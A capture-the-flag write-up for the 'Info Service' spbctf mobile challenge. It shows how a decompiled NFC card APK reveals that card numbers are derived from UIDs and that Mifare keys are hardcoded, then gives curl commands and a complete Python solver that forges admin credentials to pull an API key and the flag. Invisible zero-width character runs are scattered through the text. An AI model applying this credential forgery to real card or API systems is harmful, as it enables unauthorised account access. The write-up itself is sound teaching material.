← Back to Writeups
CUSTOMEasyMobile

Info Service

XESXOR9/2/20264 min read
#mobile#custom#easy#api_endpoint_discovery#apk_decompilation#deterministic_credential_compu#hardcoded_key_extraction#uid_to_card_number_forgery#linux

Info Service

Platform: spbctf | Category: Mobile | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2026-07-05 | Status: Solved Techniques: api_endpoint_discovery, apk_decompilation, deterministic_credential_computation, hardcoded_key_extraction, uid_to_card_number_forgery

Summary

Task: Android NFC card management APK (Mifare Classic) with backend API; admin UID is known. Solution: decompile APK to discover deterministic card_number computation from UID, forge admin credentials to obtain API key, retrieve flag from /get_info endpoint.

Info Service — spbctf

Description

"Карты - это безопасно", - говорили они, "Все данные на одном носителе", - говорили они... Докажи им, что эти карты, черт побери, самое небезопасное, что только они могли сделать! Наша разведка узнала, что у админа с uid 5BF5CA02 есть секретная информация. Достань ее для меня!

English summary: An Android APK (mlsdmitrys_challenge.apk) implements a "Rozetkin Card" NFC (Mifare Classic) card management system. We're told the admin has UID 5BF5CA02 and holds secret information. The goal is to extract that secret. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Analysis

APK Decompilation

Decompiled the APK (com.mlsdmitry.rozetkin_ctf_challenge) using jadx with special flags for Kotlin coroutine recovery:

bash
jadx --show-bad-code --comments-level debug mlsdmitrys_challenge.apk -d decompiled/

The --show-bad-code flag is critical here — without it, jadx skips Kotlin suspend functions (which use CPS transformation), producing only 446 lines vs 1805 lines with the flag enabled.

App Architecture

The app is a Mifare Classic NFC card system communicating with a backend at http://2537ly.space:23234/. Key classes: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

ClassPurpose
RozetkinCard.javaCard logic, API communication via ktor
NfcActivity.javaNFC read/write with hardcoded Mifare keys
AuthActivity.javaRegistration and login flow
HomeActivity.javaDisplays user info via getInfo(apiKey)
Response.javaData class: login, api_key, error, message, additional_info

API Endpoints

Discovered from decompiled ktor HTTP client code:

  • POST /register — body: form field data = JSON {"login":...,"card_number":<long>,"uid":"<hex>"}
  • POST /get_api_key — same body format, returns api_key
  • GET /verify?api_key=...&login=...&error=
  • GET /get_info?api_key=... — returns login and additional_info (the flag) ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Critical Vulnerability: Deterministic card_number from UID

In RozetkinCard.Companion.checkCardNumber():

java
public final boolean checkCardNumber(byte[] uid, long cardNumber) {
    int iByteValue = 0;
    int i = 0;
    for (byte b : uid) {
        iByteValue += (b & 0xFF) << (i << 3);  // little-endian int from UID bytes
        i++;
    }
    return Intrinsics.areEqual("1232387" + iByteValue, String.valueOf(cardNumber));
}

The card_number is simply the string "1232387" concatenated with the little-endian 32-bit integer interpretation of the 4-byte UID. Knowing the UID is sufficient to compute the card_number — no physical card access needed. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Additional Insecurity: Hardcoded Mifare Keys

NfcActivity.java contains hardcoded keyA and keyB for all 15 sectors as byte arrays. Anyone who decompiles the APK can read/write any sector of any card used with this system — a fundamental Mifare Classic weakness compounded by poor key management.

Solution

Step 1: Compute admin's card_number from UID

python
#!/usr/bin/env python3
# Compute card_number from admin UID 5BF5CA02

uid_hex = "5BF5CA02"
uid_bytes = bytes.fromhex(uid_hex)

# Little-endian integer from UID bytes
i_byte_value = 0
for i, b in enumerate(uid_bytes):
    i_byte_value += b << (i * 8)
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# card_number = "1232387" + str(little_endian_int)
card_number = int("1232387" + str(i_byte_value))
print(f"UID bytes: {[hex(b) for b in uid_bytes]}")
print(f"Little-endian int: {i_byte_value}")
print(f"card_number: {card_number}")
# Output:
# UID bytes: ['0x5b', '0xf5', '0xca', '0x02']
# Little-endian int: 46855515
# card_number: 123238746855515

Calculation breakdown:

  • Bytes: [0x5B, 0xF5, 0xCA, 0x02]
  • Little-endian: 0x5B + (0xF5 << 8) + (0xCA << 16) + (0x02 << 24) = 91 + 62720 + 13238272 + 33554432 = 46855515
  • card_number = 123238746855515 ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Step 2: Obtain admin's API key

bash
curl -X POST "http://2537ly.space:23234/get_api_key" \
  --data-urlencode 'data={"login":"admin","card_number":123238746855515,"uid":"5bf5ca02"}'
# Response: {"api_key": "<admin_api_key>", ...}

Step 3: Retrieve admin's secret information

bash
curl "http://2537ly.space:23234/get_info?api_key=<admin_api_key>"
# Response: {"additional_info": "spbctf{REDACTED}", ...}

Full Exploit Script

python
#!/usr/bin/env python3
"""Info Service solver - forge admin credentials from known UID"""
import requests
import json
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

BASE_URL = "http://2537ly.space:23234"
ADMIN_UID = "5bf5ca02"
ADMIN_LOGIN = "admin"

# Step 1: Compute card_number from UID (replicating checkCardNumber logic)
uid_bytes = bytes.fromhex(ADMIN_UID)
i_byte_value = 0
for i, b in enumerate(uid_bytes):
    i_byte_value += b << (i * 8)
card_number = int("1232387" + str(i_byte_value))
print(f"[*] Computed card_number: {card_number}")

# Step 2: Get admin API key
payload = json.dumps({
    "login": ADMIN_LOGIN,
    "card_number": card_number,
    "uid": ADMIN_UID
})
resp = requests.post(f"{BASE_URL}/get_api_key", data={"data": payload})
api_key = resp.json()["api_key"]
print(f"[*] Admin API key: {api_key}")
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Step 3: Get admin's secret info (flag)
resp = requests.get(f"{BASE_URL}/get_info", params={"api_key": api_key})
data = resp.json()
print(f"[+] Flag: {data['additional_info']}")

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍